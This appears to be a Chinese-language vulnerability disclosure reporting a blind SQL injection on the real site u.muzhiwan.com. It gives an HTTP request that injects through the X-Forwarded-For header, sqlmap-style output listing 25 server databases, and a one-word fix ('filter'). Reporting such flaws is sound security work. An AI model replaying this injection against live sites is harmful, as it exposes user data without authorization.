拇指玩某处存在SQL盲注涉及千万数据

登录后选择一个游戏加入专辑
 

然后在删除操作处存在注入
 

GET /index.php?action=profile&opt=DeleteOne&aid=4794&type=album HTTP/1.1
Host: u.muzhiwan.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://u.muzhiwan.com/index.php?action=profile&opt=album
Cookie: 
X-Forwarded-For: 127.0.0.1'
Connection: keep-alive

还是那些个数据库
 

available databases [25]:
[*] anquanxia
[*] applanet_user
[*] bug
[*] googleinstall
[*] googlemarket
[*] googlemarketgame
[*] information_schema
[*] muzhiwan
[*] muzhiwan130409
[*] muzhiwan130417
[*] muzhiwanbbs
[*] muzhiwanbbstest
[*] muzhiwantest
[*] mysql
[*] mzw
[*] mzw_new_gz
[*] mzw_oa
[*] mzwtest
[*] redmine
[*] sdk
[*] stat
[*] stat_sdk
[*] test
[*] testlink
[*] wikidatabase

解决方案：

过滤